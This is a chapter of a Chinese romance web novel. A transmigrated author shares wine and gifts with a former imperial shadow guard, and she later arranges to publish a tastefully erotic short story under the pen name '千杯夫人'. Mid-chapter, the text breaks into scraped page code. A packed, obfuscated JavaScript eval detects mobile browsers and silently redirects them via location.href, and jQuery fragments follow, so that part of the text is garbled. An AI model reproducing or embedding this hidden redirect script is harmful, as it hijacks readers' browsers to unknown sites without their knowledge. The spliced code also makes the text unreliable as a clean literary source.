尹钰 作品

20. 千杯夫人

“就剩我们俩了。”


燕洲端着酒盏,看着水面荡起涟漪。


白野:“我想了许久,还是决定和你说说。”


说什么?


明明一口鹿肉都没吃,身体里的血液却翻涌沸腾。


耳膜突突跳动,心脏窜到了嗓子眼,都不知道自己在期待什么。


白野:“大家都是同事,能有幸和你一起做这个任务,是我捡了便宜。”


万事开头难,若不是有他打猎,白野独自一人,都不知道要攒多久才买得起笔墨。


“眼下卖书的事终于弄好,以后我们也算生活无忧了,你不用那么频繁去打猎的。”


......


没一句,是他想听的,是他期待的。


白野浑然不觉他的失落:“我总问你之前的事,你不会很反感吧?”


反感倒是没有,只是有些不耻说出口,毕竟不是什么光明的男儿事业...手上也不少鲜血。


“没,别这么想。”


白野小心翼翼问道:“那...你之前是做什么的?”


燕洲本也没想瞒她,放下酒盏,低着头格外沉闷开口。


“不二臣。只听天子调令的暗卫。”


白野没听过这种称呼,但既然是天子直卫,那应该和锦衣卫、不良人是一种概念吧。


“类似锦衣卫?”


听到这个职称,燕洲低哑的笑言中搀着一丝自厌。


“那是世家公子才能当的差,和我们...云泥之别。”


他们这种被筛出来的孤儿,哪里能和高门子弟相比,死了就会有人用相同的姓氏和数字补上。


三百孤儿,取百家之姓,一姓三人为一组。


专门替天子做些不能拿到面上的事。


哥仨身手好,从没伤亡被替补过,他恰好是燕姓三人中最小的,是为燕三。


燕洲是他长大后为自己取的名字。


白野被酒熏红的眉骨轻扬,神采奕奕看着他。


其中繁星缀缀,刺眼极了。


燕洲:她好像不太清楚暗卫是干什么活儿的...


“难怪你功夫这么好!”


燕洲耳根发红。


喉结滚动,嘴里的酒水变为糖浆。


这般澄澈崇拜的眼神,好像他刚才说自己是什么少年将军了一样...


恍惚间甚至有种错觉,好似前生十九载见不得光的人生,只是他一场梦。


“打猎而已...算什么功夫。”


他真正的功夫使不到人前来,那都是出手直取人性命的杀招。


白野大大咧咧摆手:“你真是不知道自己有多厉害,我上辈子可是五米开外六亲不认,更别提拉弓射箭了。”


天天在家抱着电子设备写文,放松的方式还是和母亲一起画工笔。


二十岁时就已经是个400多度的近视眼了。


燕洲百步穿杨的本事,她早从宋五嘴里听了很多遍。


虽然没有亲眼看到,但她可是小说家,想象力最是富足。


完全可以想象到燕洲打猎时的风采。


“哦,对了,说起这个。”


她从怀里掏出一个小盒子。


“这个送你,我挑了好一会儿呢,还是觉得这个颜色更适合。”


年轻人嘛,就应该配鲜亮的颜色。


燕洲眼睛瞪得像个小鹿,慢慢从她手里接过暗红色的盒子。


是一枚弓玦。


就看白野又给自己续满一盏酒,悠悠说道。


“你可能觉得暗卫是什么见不得光的事,其实不然!”


暗卫什么的可太帅了好吧!


“我年轻时也喜欢看别人写的话本,里边的男主角可全是你这种职业呢。”


......


他此刻好像能听到自己心里发出金石交鸣的声音。


可什么叫“年轻时”?


她不过也才二十四岁,怎么说的自己跟七老八十了一样...


燕洲可真想把这句安慰的话截取成“我...也喜欢...你。”


......


为什么是也。


因为他喜欢她。


别扭了这么久,终于敢在今夜趁着酒气正视自己的心意。


他可不就是喜欢?


喜欢她人前沉稳,心细如泥。


喜欢她私下活泼调皮,慵懒随意。


喜欢她爱恨分明,才学机敏。


少年悸动的胸口那里也有一个小盒子,是前两日卖马鹿换了银子买的红玉耳坠。


不知为什么,总觉得她戴这样的颜色一定会很好看。


甚至想象到她坐在书案前,偏头提笔沾墨时,一抹红色坠在她颈间,微微晃动...


燕洲不懂如何追求心仪女子,只想着把好的都送她。


掏出木盒,犹豫着要怎么说才好。


知道自己只是一厢情愿,对面的女人完全沉浸在酒菜的美味里。


时不时还故意把酒咂吧的很大声...


燕洲失笑。


看来自己还有很远的路要走。


他把盒子递过去。


真正的心意并不急着诉说,日后她能看到就好。


“前两日看到的,觉得你戴上肯定好看。”


“又送我礼物?哎呀你...”


虽然说是礼物,可白野又感觉自己落下了一大截。


这么卷下去,什么时候才能追平啊...


心底叫嚣着让郝掌柜赶紧给她发分成。


不过白野是个不扫兴的人,当即接过去就打开了盒子。


“真好看!我好喜欢这种殷红色,燕洲你可真会挑啊~”


燕洲见她表情,就知是真的喜欢,不是表演出来哄他的。


“你喜欢就好。”


白野二话不说就把耳朵上的岫玉耳坠换下来收进怀里,带上新礼物。


她微微仰着头,得意的晃来晃去,表情娇憨,可爱至极。


“怎么样,好看吧?”


这次他没有避开目光。


借着两人都微微醉去,他看着对面的人。


直白的心意在这一刻甚至不用多加掩饰,反正白野也不会在意...


“好看极了。”


他看的不是白月娘。


是这具身体里,那颗七窍玲珑心。


白野这会儿又倒满一杯。


“欸,你虽然年纪小,但眼光真不错!”


燕洲:“......”


十九岁早就是能娶亲生子,建功立业的年纪了,哪里小?


“才十九,就已经是箭术超群的皇家暗卫,哇,这种设定写进书里,不知道迷死多少闺阁少女,哎对了,下本书就写言情了!”


燕洲被她这两句话说得脖子都红了。


...这人!


真难受,人家明明对他一点想法都没有,偏偏总是一句话就惹得他胡思乱想。


白野酒量奇好,喝到现在也只是微醺。


两人要是都敞开了拼酒,燕洲自知他不如白野一半。


炭火彻底凉去,鹿腿还剩下很多,白野自己喝了个水饱,却又不是很困,借着酒劲回屋点了灯,纵笔狂写。


燕洲摩挲着手心的玉玦,如视珍宝,久久不愿起身。


............


白野后面边喝边写,其实已经醉的没什么印象了。


今早起来整理书桌,看着自己写的这篇《玉阶夜》陷入了沉思。


喝多了喜欢写艳本的臭毛病果然还在。


这篇与燕洲昨晚聊天时,得了灵感写下的——贵夫人与侍卫,白日主仆,夜半夫妻的短篇...


手稿随着指尖微微颤抖,清醒状态下的自己甚至无法阅读下去。


俗称,没眼看。


正在羞愧自省,脑中突然灵光一闪!


不对啊,现在可不是她原本的世界,像这种程度的文章,在大景国,应该是可以刊出去的吧...


更何况又没有什么特别庸俗露骨的场面,她写这种故事向来是十分婉转,唯美留白。</p


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255784|166288||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>


有了想法便压不下去,恨不能马上就去问问郝掌柜可不可以发售。


若真可以,那岂不是!


早饭都顾不得吃,立马坐下从头到尾检查了一遍,见没有纰漏,又暗暗给自己点了个赞。


不愧是我,天赋异禀。


喝得少都写不出这种水平来。


燕洲刚要招呼她吃饭,就见她兴致冲冲小跑过来,一双灵动的眼睛四周左看右看,确定纷纷没在,才敢开口。


“咱俩今天再去一趟镇上吧?我找郝掌柜有点事。”


燕洲疑惑,昨天不是刚去过?


难道是想起书里哪里有问题?


不可能,他今早做饭时,还让0809给他读《雪恨归途记》,写的极好!听得他边做饭边咬牙。


那是另一本?


哎呀管它哪本,她说去那就去!


“好,你先吃饭,我去套车。”


“等下!燕洲,今天不能带纷纷...”万一纷纷想跟着她,她还要想办法把孩子支开。


燕洲:......


“嗯,我等会先把她送到秋水家,让他们两口子帮忙看一天。”


转念一想,这不又是两人独处?心里也雀跃期待起来。


纷纷穿着新衣裙,被燕洲送到宋家,欢欢喜喜和秋水去玩了。


燕洲今天又恢复之前的样子,不再几个字几个字蹦,两人一路上有说有笑。


白野心道摊开了聊过天就是好。


到了左家书局,白野见燕洲也要跟着进去,慌忙间扯了个谎。


“昨晚那两坛酒我很喜欢,你再去帮我多买点好吗?就在成衣铺不远的酒肆。”


“好,那你在这等我。”


白野见成功把人支走,呼了口气。


郝掌柜见他们左家书局的新台柱子来了,大步迎来。


“哟,夫人您来啦,《山玉录》还没印出来呢。”


“不是来拿书的,我来向您打听一下,咱们大景...”


她说的小声,郝掌柜离近一听,心里佩服的是五体投地。


这位居然连那种书都会写呢?


“并无律法约束,只是严禁贩卖给孩童,夫人若是写了,直接拿来便是!”


想了想又小声补充:“不瞒您说,这种题材的,可卖的更好呢...”


别说老少爷们儿,就是闺阁间的夫人小姐们也是极爱。


“也走分成?”


“当然,您以为签的是什么契?以后你就是拿三页草纸来,只要卖得出去,也得按您分成。”


其实现在光前五章的《山玉录》和短篇《雪恨归途记》,就已经卖了不少,只不过还没到结算分成的日子。


郝掌柜看看白野一副不太好意思的样子。


心道果然这人没把钱拿到手里,就不知道自己有多大的本事。


“那...”


郝掌柜眼看她做出从袖子里掏东西的动作,脸上笑的褶子又多了一倍。


“哟,您还真有!快快快,我看看。”


他又一次被白野的文采惊艳到了。


“夫人...你这写的真是,哎,在下老头儿一个,说不太明白,但是我保证这绝对能引起闺阁流传!”


他开书店这么多年,最明白什么样的人爱看什么样的书。


这《玉阶夜》不似寻常艳本那般露骨粗俗,却又比普通情爱话本更勾人动情...


极具暧昧缠绵的细腻描写,看的连他都心猿意马。


绝对能受到夫人小姐们的追捧!


“夫人可要换个笔名?”


“自然!郝掌柜容我想想...”


“不急不急,您仔细想,我去给您拿纸笔,哦对了,下次您把合同带来,这个新笔名我们要加到契约上去。”


“多谢掌柜。”


白野写山玉录时也是现场随便起得“既来之”。


现在可以正大光明刊载闺阁艳本,却犹豫不决,思考的特别认真。


想了半天,才最终在纸上写下——千杯夫人。